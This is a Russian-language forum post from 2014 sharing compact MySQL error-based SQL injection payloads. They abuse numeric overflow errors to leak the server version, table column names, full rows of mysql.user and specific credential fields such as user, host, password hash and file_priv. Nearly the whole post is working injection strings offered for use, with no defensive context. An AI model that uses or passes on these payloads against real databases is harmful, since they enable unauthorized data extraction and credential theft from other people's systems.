Показать сообщение отдельно
Старый 22.06.2014, 10:36   #4
profexer
 
Регистрация: 06.01.2011
Сообщений: 117
Репутация: 63
По умолчанию

Немного укоротил запросы (убрал лишние скобки, заменил представление числа) и добавил полезных символов при выводе:

Вывод информации
Цитата:
SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610, 18446744073709551610))
=
select 1E308*if((select*from(select version())x),2,2)
Цитата:
SELECT (i IS NOT NULL) - -9223372036854775808 FROM (SELECT (version())i)a
=
select if(x,2,2)*1E308 from(select version()x)y
(нужно проверить на MariaDB!)

Узнаем имена колонок в таблице
Цитата:
SELECT 2 * if((SELECT * from (select * from test.shop) as `` limit 1)>(SELECT * from test.shop limit 1), 18446744073709551610, 18446744073709551610)
=
select 1E308*if((select*from(select*from mysql.user)``limit 1)>(select*from mysql.user limit 1),2,2)
Вывод со всех столбцов:
Цитата:
SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) as `` limit 1) < (1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2), 18446744073709551610, 18446744073709551610)
=
select 1E308*if((select*from(select*from mysql.user LIMIT 1)``limit 1)<(select*from mysql.user limit 0),2,2)
А если нужно только с определенных колонок, тогда можем получить более чистый вывод:
Цитата:
select 1E308*if((select user||host||password||file_priv from(select*from mysql.user LIMIT 1)a limit 1),2,2)
+Бонус: узнаем количество колонок в таблице
Цитата:
select 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)

Последний раз редактировалось profexer; 22.06.2014 в 11:17..
profexer вне форума   Ответить с цитированием